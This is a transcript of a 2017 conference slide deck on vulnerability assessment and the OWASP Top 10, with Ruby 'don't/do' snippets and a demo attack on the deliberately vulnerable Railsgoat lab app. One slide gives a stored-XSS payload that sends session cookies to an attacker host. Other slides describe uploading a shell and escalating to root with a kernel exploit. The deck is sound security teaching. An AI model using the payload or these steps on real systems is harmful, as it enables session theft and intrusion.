Upgrade to Pro — share decks privately, control downloads, hide ads and more …

Vulnerability assessment and secure coding in Web Applications

Paolo Perego
November 30, 2017

Vulnerability assessment and secure coding in Web Applications

This is the talk I delivered for "The Hack Week" event in Università di Parma, the 30th November 2017.

The event was organised by Unione degli Universitari - UDU Parma.

The talk is a very beginner oriented introduction into vulnerability assessment, safe coding hints for the new Owasp Top 10 2017 and a web2root path attacking Railsgoat application, part of the Owasp Broken Web Application project.

During the demo, we will show:
* how to gain info from 0-knowledge to understand the technology behind the target
* how to gain a low privileged shell, using malicious code upload into the broken web application
* how to gain a root shell using the right kernel exploit

Event link: https://www.facebook.com/events/148538812565644/
Organizer: https://www.facebook.com/uduparma/

Paolo Perego

November 30, 2017
Tweet

More Decks by Paolo Perego

Other Decks in Technology

Transcript

  1. Vulnerability assessment and secure coding
    in Web Applications

    View Slide

  2. self.inspect
    • 15+ years in application security
    • Lead a purple team
    • Blogger @ https://codiceinsicuro.it
    • Social as @thesp0nge
    • Husband, Dad and Taekwon-Do ITF
    athlete and trainer
    • Send comments or questions to
    [email protected]

    View Slide

  3. Agenda
    • The Red side
    • What’s a vulnerability?
    • Testing 172.16.202.241
    • The Blue side
    • What’s safe coding?
    • The Owasp Top 10 2017
    • Testing Railsgoat
    • Bonus track

    View Slide

  4. The Red side

    View Slide

  5. Words are important

    View Slide

  6. cyber |ˈsʌɪbə|
    adjective
    relating to or characteristic of the culture of computers, information technology,
    and virtual reality: the cyber age.
    security |sɪˈkjʊərɪti, sɪˈkjɔːrɪti|
    noun (plural securities)
    1 [mass noun] the state of being free from danger or threat: the system is
    designed to provide maximum security against toxic spills | job security.

    View Slide

  7. assess |əˈsɛs|
    verb [with object]
    evaluate or estimate the nature, ability, or quality of: the committee must assess the
    relative importance of the issues | [with clause] : it is difficult to assess whether this
    is a new trend.
    assessment |əˈsɛsmənt|
    noun [mass noun]
    the action of assessing someone or something: the assessment of educational needs
    | assessments of market value.

    View Slide

  8. vulnerability |vʌln(ə)rəˈbɪlɪti|
    noun (plural vulnerabilities) [mass noun]
    the quality or state of being exposed to the possibility of being attacked or
    harmed, either physically or emotionally: conservation authorities have
    realized the vulnerability of the local population | he is confined in isolation
    because of his vulnerability to infection | [count noun] : con artists are great
    at spotting our vulnerabilities.

    View Slide

  9. Putting all together
    A vulnerability assessment is the action of
    evaluating or estimating a system for the quality or
    state of being exposed to the possibility of being
    attacked or harmed

    View Slide

  10. The goal
    • A vulnerability assessment is
    something magic (in term of
    execution) with some defined rules:
    • A system has vulnerabilities
    • Those vulnerabilities can be
    (sometime) exploited

    View Slide

  11. Vulnerability Assessment
    workflow
    • During a vulnerability assessment we
    • Understand the nature of our target
    • Recognise running services
    • Enumerate vulnerabilities for those services
    • Exploit them
    • Celebrate

    View Slide

  12. Your skillset
    • Curious
    • Lateral thinker
    • Precise
    • Fast learner
    • Attitude to code

    View Slide

  13. TARGET = 172.16.202.241
    Let’s start by taking notes

    View Slide

  14. Reconnaissance
    • Gather baseline informations
    • Fingerprint running services

    View Slide

  15. Enumerate
    • Enumerate vulnerabilities for those
    services

    View Slide

  16. Enumerate
    • Assess web server configuration
    • Look for interesting folders in web sites
    • Look for interesting folders in target
    application

    View Slide

  17. View Slide

  18. Enumerate
    • Look for open shares
    • ( unfortunately none here :-( )

    View Slide

  19. Exploit
    • Look for local root exploits
    • Please wait until we get a non
    privileged shell… :-)

    View Slide

  20. The Blue side

    View Slide

  21. What’s safe code?
    • Coding is an art
    • Safe coding is the art of creating working code in a secure way
    • Safe coding means also create a secure environment for the running
    program
    • Choosing right technologies
    • Hardening configuration

    View Slide

  22. Your skillset
    • Curious
    • Lateral thinker
    • Precise
    • Fast learner
    • Attitude to code
    • Good listener
    • Patient
    • Attitude to talk and teach

    View Slide

  23. The OWASP Top 10 - 2017

    View Slide

  24. A1 - Injection
    • Segregation between commands and queries
    • Use Object Relational Mapping API to access data in a parameterised way
    • Use positive or "whitelist" server-side input validation.
    • Escape special characters (‘, &, -, ;)


    View Slide

  25. Don’t
    def update
    message = false
    user = User.find(:first, :conditions => "user_id = '#{params[:user][:user_id]}'")
    user.skip_user_id_assign = true
    user.update_attributes(params[:user].reject { |k| k == ("password" ||
    "password_confirmation") || "user_id" })
    pass = params[:user][:password]
    user.password = pass if !(pass.blank?)
    message = true if user.save!
    respond_to do |format|
    format.html { redirect_to user_account_settings_path(:user_id => current_user.user_id) }
    format.json { render :json => {:msg => message ? "success" : "false "} }
    end
    end

    View Slide

  26. Do
    def update
    message = false
    user = current_user
    user.skip_user_id_assign = true
    user.update_attributes(params[:user].reject { |k| k == ("password" ||
    "password_confirmation") || "user_id" })
    pass = params[:user][:password]
    user.password = pass if !(pass.blank?)
    message = true if user.save!
    respond_to do |format|
    format.html { redirect_to user_account_settings_path(:user_id => current_user.user_id) }
    format.json { render :json => {:msg => message ? "success" : "false "} }
    end
    end

    View Slide

  27. A2 - Broken Authentication
    • Multi factor authentication
    • Not use default credentials
    • Implement checks against weak passwords
    • Harden API against enumeration
    • Limit logins attempt & use account lockout mechanisms
    • Generate a secure session ID server side

    View Slide

  28. A3 - Sensitive Data Exposure
    • Classify your data against local rules ( PCI, SOX, GDPR )
    • Encrypt all sensitive data at rest
    • Protect communication channel with TLS
    • Disable caching sensitive data
    • Store passwords using strong adaptive and salted hashing functions

    View Slide

  29. Don’t
    before_save :hash_password
    def self.authenticate(email, password)
    auth = nil
    user = find_by_email(email)
    if user
    if user.password == Digest::MD5.hexdigest(password)
    auth = user
    else
    raise "Incorrect Password!"
    end
    else
    raise "#{email} doesn't exist!"
    end
    return auth
    end
    def hash_password
    if self.password.present?
    self.password = Digest::MD5.hexdigest(password)
    end
    end

    View Slide

  30. Do
    def self.authenticate(email, password)
    user = find_by_email(email)
    if user and user.password_hash == BCrypt::Engine.hash_secret(password,
    user.password_salt)
    user
    else
    "Invalid Credentials Supplied"
    end
    end
    def hash_password
    if self.password.present?
    self.password_salt = BCrypt::Engine.generate_salt
    self.password_hash = BCrypt::Engine.hash_secret(self.password,
    self.password_salt)
    end
    end

    View Slide

  31. A4 - XML External Entities (XXE)
    • Use less complex data formats (JSON)
    • Avoid serialise sensitive data
    • Disable XML entity and DTD processing
    • Implement positive ("whitelisting") server-side input validation, filtering,
    or sanitization

    View Slide

  32. A5 - Broken Access Control
    • Only public resources must be granted. Deny by default
    • Implement access control mechanisms
    • Disable directory listing
    • Implement logging for unauthorised resources
    • Implement rate limit for API

    View Slide

  33. Don’t
    class AdminController < ApplicationController
    before_filter :administrative, :if => :admin_param
    ...
    def admin_param
    params[:id] == '1'
    end

    View Slide

  34. Do
    class AdminController < ApplicationController
    before_filter :administrative

    View Slide

  35. A6 - Security Misconfiguration
    • Implement hardening procedures
    • Remove unnecessary tools and frameworks (libraries, daemons, compilers,
    …)
    • Review system configurations (e.g. with lynis)

    View Slide

  36. A7 - Cross-Site Scripting (XSS)
    • Use frameworks that automatically escape XSS
    • Don’t trust user inputs. Validate them, using encoding and whitelist
    approach

    View Slide

  37. A8 - Insecure Deserialization
    • Enforce security controls when receiving a serialised object
    • Running the code managing serialised object with as lower privileges as
    you can
    • Log and monitor the code managing serialisation, in particular for
    incoming and outgoing connections

    View Slide

  38. A9 - Using Components with
    Known Vulnerabilities
    • Remove any unnecessary library or dependency
    • Create and maintain an asset inventory for all technologies used in your
    application and follow their security life
    • Run security assessment tool for third party libraries and mitigate all
    security issues

    View Slide

  39. A10 - Insufficient Logging &
    Monitoring
    • Avoid logging sensitive information on files
    • Centralise your logs on a SIEM solution (e.g. splunk)
    • Protect logs against tampering

    View Slide

  40. Railsgoat
    Testing the web application

    View Slide

  41. Knockin’on a broken door
    • Target web application is vulnerable to
    user enumeration
    • Detailed error messages can lead an
    attacker to understand between non
    existent user and wrong password

    View Slide

  42. Knockin’on a broken door
    • Simple python script is able to give me
    valid credentials for web interface
    • We can use cewl tool to create a
    wordlist specific for the website
    • As we can see password is trivial to
    guess so no strict password policy is in
    place

    View Slide

  43. View Slide

  44. def create
    begin
    user = User.authenticate(params[:email], params[:password])
    rescue Exception => e
    end
    if user
    session[:user_id] = user.user_id if User.where(:user_id => user.user_id).exists?
    redirect_to home_dashboard_index_path
    else
    flash[:error] = "Either your username and password is incorrect" #e.message
    render "new"
    end
    end

    View Slide

  45. Getting a shell
    • Web application has the capability of
    uploading a file
    • No controls on the type of file we
    upload
    • Attempt is made to upload a PHP script
    spawning a shell
    • Eventually the attempt succeeded

    View Slide

  46. View Slide

  47. Getting a root shell
    • We are regular users on Ubuntu 10.04
    • We look for exploits
    • We transfer exploit on target using
    HTTP
    • We compile the exploit
    • Root dance

    View Slide

  48. View Slide

  49. View Slide

  50. def self.make_backup(file, data_path, full_file_name)
    accepted_formats = [".txt", ".pdf"]
    return false unless accepted_formats.include? File.extname(full_file_name)
    FileUtils.cp "#{full_file_name}", "#{data_path}/bak#{Time.now.to_i}
    _#{file.original_filename}"
    end

    View Slide

  51. Access arbitrary info
    • On the Work Info section, the user
    identifier in the URL is used to retrieve
    information
    • Anyone can tamper the URL retrieving
    information about other users
    • Metacorp is more generous with Jack
    rather then Jim… Jim is not happy
    about that

    View Slide

  52. View Slide

  53. def index
    @user = current_user
    if !(@user) || @user.admin
    flash[:error] = "Apologies, looks like something went wrong"
    redirect_to home_dashboard_index_path
    end
    end

    View Slide

  54. Access Admin panel
    • To access admin panel, the user id is
    retrieved from URL
    • Tampering the URL, it is possible to go
    into administrative portal to manage
    users

    View Slide

  55. View Slide

  56. class AdminController < ApplicationController
    before_filter :administrative

    View Slide

  57. Executing code client side
    • Users can register on the target
    application
    • Target application doesn’t validate user
    first name
    • It is possible to store javascript on the
    database
    • The javascript is executed when
    rendering user’s page

    View Slide

  58. Since it is stored, even admin execute that code

    View Slide

  59. img=new Image();img.src=“http://172.16.202.250/cookie.txt?<br/>c="+document.cookie;
    No session cookie… let’s try another way

    View Slide

  60. View Slide





  61. # removed .html_safe in app/views/layouts/admin/_get_all_users.html.erb


    Welcome,

    # removed .html_safe in app/views/layouts/shared/_header.html.erb

    View Slide

  62. Some static analysis

    View Slide

  63. View Slide

  64. View Slide

  65. View Slide

  66. Bonus Track

    View Slide

  67. Changing the paradigma
    • From a ‘devops’ world into a
    ‘secdevops’ world
    • Agile teams
    • Everyone committed to bring the code
    into production
    • Adding the ‘sec’ part means ton of stuff

    View Slide

  68. Sec Dev Ops
    • Bring security the agile way
    • Continuous security tests
    • Continuous mitigation
    • Continuous vulnerability management

    View Slide

  69. How to achieve Sec Dev Ops?
    • Create awareness programs
    • Write secure coding guidelines
    • Automate security tests into
    development pipeline

    View Slide

  70. Some links
    • To practice in break
    • https://www.vulnhub.com/
    • https://www.hackthebox.eu/
    • https://pentesterlab.com/exercises/
    • https://medium.com/@a.hilton83/oscp-training-vms-hosted-on-vulnhub-com-22fa061bf6a1
    • To pipeline automation
    • https://codiceinsicuro.it/chicchi/automatizzare-owasp-zap-in-mac-os-x/
    • https://www.aspectsecurity.com/blog/secure-devops-with-an-application-security-pipeline
    • https://www.appsecpipeline.org/
    • To read: https://codiceinsicuro.it

    View Slide

  71. Q&A

    View Slide

  72. Thanks!
    Or eventually the slide that never comes

    View Slide